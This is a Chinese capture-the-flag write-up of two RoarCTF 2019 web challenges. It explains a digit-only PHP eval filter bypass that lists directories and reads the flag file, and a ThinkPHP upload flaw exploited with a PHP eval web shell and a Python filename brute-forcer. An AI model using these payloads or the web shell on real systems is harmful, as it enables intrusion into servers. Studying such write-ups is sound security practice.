RoarCTF2019_web题解(待补充)
simple-calc
题目源码
后端存在waf,不能使用英文字母,但是可以使用数字还有一些运算符
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
解法一
思路:1. 利用php7 新增特性会将括号内的字符当做字符串
2. 利用数字的与或反三种运算(^被过滤)得到全部a-z等字符
3. 动态函数执行
php7特性,字符串括号拼接当做字符串
((999999999999999999999).(1)){3}|((999999999999999999999999).(1)){6}
u
((999999999999999999999).(1)){3}|((999999999999999999999999).(1)){4}
o
payload不能直接出现a数组其他的字符,否则会爆500,所以只能通过a数组中的字符进行与或得到其他额外字符
# -*- coding: utf-8 -*-
a=['0','1','2','3','4','5','6','7','8','9','E','+','.']
b=[]
c=[]
d=[]
b1=[]
for i in a:
for j in a:
b.append(i+'或'+j+'-------'+chr(ord(i)|ord(j)))
b1.append(chr(ord(i)|ord(j)))
c1=[]
for i in a:
for j in a:
c.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
c1.append(chr(ord(i)&ord(j)))
d1=[]
for i in set(b1+c1):
for j in set(b1+c1):
d.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
d1.append(chr(ord(i)&ord(j)))
print(set(d1+b1+c1))
# tmp=[]
# for i in set(d1+b1+c1):
# print(bin(ord(i)))
a=raw_input("input you find: ")
for i in (b+c+d):
if a in i:
print(i)
break
可以得到如下可用运算字符
set(['\x01', '\x00', '\x05', '\x04', '!', ' ', '#', '"', '%', '$', "'", '&', ')', '(', '+', '*', '-', ',', '/', '.', '1', '0', '3', '2', '5', '4', '7', '6', '9', '8', ';', ':', '=', '<', '?', '>', 'E', 'e', 'g', 'm', 'o', 'u', 'w', '}'])
那么问题了,这是可用字符的极限了,我们可以打印如上字符的二进制
最大位数是7bit,a-z的bit位数也正好是7位
先看出一个规律
6bit的字符,每个bit都可以通过与或得到0或1,可以得到6bit区间内的所有字符
7bit的字符,倒三字符还有倒一都是1,无法与或置为0,限制了7bit额外字符的生成,也就是限制了a-z字符生成
['0b1', '0b0', '0b101', '0b100', '0b100001', '0b100000', '0b100011', '0b100010', '0b100101', '0b100100', '0b100111', '0b100110', '0b101001', '0b101000', '0b101011', '0b101010', '0b101101', '0b101100', '0b101111', '0b101110', '0b110001', '0b110000', '0b110011', '0b110010', '0b110101', '0b110100', '0b110111', '0b110110', '0b111001', '0b111000', '0b111011', '0b111010', '0b111101', '0b111100', '0b111111', '0b111110', '0b1000101', '0b1100101', '0b1100111', '0b1101101', '0b1101111', '0b1110101', '0b1110111', '0b1111101']
所以解决额外字符的思路出来了,制造出一个7bit二进制数,可以尽可能制造多的字符以节省劳动力,就不用费劲心思去运算得到其他字符。
如下脚本fuzz使用哪个字符与可用字符与或,发现 ‘@’ 最好用 ,可以生成34个字符,二进制=>0b1000000
‘@’ 生成可以用 ~’?’=> (1或.——-?)
在赋值到main参数,fuzz出可用字符与或结果
import string
arr=['\x01', '\x00', '\x05', '\x04', '!', ' ', '#', '"', '%', '$', "'", '&', ')', '(', '+', '*', '-', ',', '/', '.', '1', '0', '3', '2', '5', '4', '7', '6', '9', '8', ';', ':', '=', '<', '?', '>', 'E', 'e', 'g', 'm', 'o', 'u', 'w', '}']
arr1=string.printable
print(len(arr1))
# fuzz可以创造出最多的字符
for flag in arr1:
tmp=[]
for i in arr:
for j in arr1:
if chr(ord(flag)&ord(i)) == j:
tmp.append(j)
#print(i+' [&] '+j)
break
print('[&]flag: '+ flag+"=>"+str(len(set(tmp))))
print(set(tmp))
for flag in arr1:
tmp=[]
for i in arr:
for j in arr1:
if chr(ord(flag)|ord(i)) == j:
tmp.append(j)
#print(i+' [&] '+j)
break
print('[|]flag: '+ flag+"=>"+str(len(set(tmp))))
print(set(tmp))
# 填入'@'逆推需要的字符
main='@'
for i in arr:
for j in arr1:
if chr(ord(main)|ord(i)) == j:
print(i+' [|] '+main+' => '+j)
for i in arr:
for j in arr1:
if chr(ord(main)&ord(i)) == j:
print(i+' [&] '+main+' => '+j)
后面就手拼吧,脚本不会写了
首先构造scandir('/')扫描根目录下的文件,payload:
?num=((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1}))))
readfile('/f1agg'),payload:
?num=(((((1).(2)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(4)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(9)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){4})|(((9999999999999999999999).(1)){1}))%26((((1).(4)){1})|(((1).(8)){1}))|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))
解法二
parse_str过waf或者http请求走私
dechex() 十进制转换为十六进制
hex2bin() 十六进制转换为ASCII字符
base_convert(num,frombase,tobase) 将num为frombase转换为指定进制tobase
var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(47))))
var_dump(scandir(‘/‘))
readfile(/f1agg)
base_convert(2146934604002,10,36)(hex2bin(dechex(47)).(f1agg))
simple-Upload
题目
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
上传三个文件缩小时间爆破范围
strstr
传入数组warning
报错,回显false
$files
为空直接赋值$_FILES变量,关键处
再处理$files数组,遍历键值对,解放$files
二维数组为一维数组
调用配置文件中保存文件处理函数,uniqid函数
call_user_func_arrary
调用uniqid()
,生成文件名。
保存文件
uniqid函数
思路
同时上传两个个文件,缩小爆破范围,远程可以上传三个文件更进一步缩小范围
本地显示爆破后3位就可以,远程需要后5位
文件上传exp
POST /index.php?m=home&c=index&a=upload HTTP/1.1
Host: umgmalytroarctf.4hou.com.cn:32901
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9130902641497288610839855586
Content-Length: 387
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name="file"; filename="as.txt"
Content-Type: text/plain
<?php phpinfo(); eval($_GET[_]); ?>
-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name[1]="file"; filename="as.php"
Content-Type: text/plain
<?php phpinfo(); eval($_GET[_]); ?>
Content-Disposition: form-data; name="file"; filename="as.txt"
Content-Type: text/plain
<?php phpinfo(); eval($_GET[_]); ?>
-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name="submit"
upload
-----------------------------9130902641497288610839855586--
后缀爆破
实在是太慢了,buuoj对多线程限制,就不爆了。
import requests
a=''
# for i in range(0x100,0xfff):
# url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5495e5d"+hex(i)[2:]+'.php'
# rep = requests.get(url)
# print(hex(i)[2:])
# if 'Version' in rep.text:
# print(url)
# a+=url
# sys.exit()
# break
# for i in range(0x1000,0xffff):
# url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5495e5"+hex(i)[2:]+'.php'
# rep = requests.get(url)
# print(hex(i)[2:])
# if 'Version' in rep.text:
# print(url)
# a+=url
# sys.exit()
# break
for i in range(0x6cd19,0xfffff):
url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5583e"+hex(i)[2:]+'.php'
rep = requests.get(url)
print(hex(i)[2:])
if 'Version' in rep.text:
print(url)
a+=url
sys.exit()
break
for i in range(0xe6cd19,0xffffff):
url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5583"+hex(i)[2:]+'.php'
rep = requests.get(url)
print(hex(i)[2:])
if 'Version' in rep.text:
print(url)
a+=url
sys.exit()
break
print(a)
wp
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!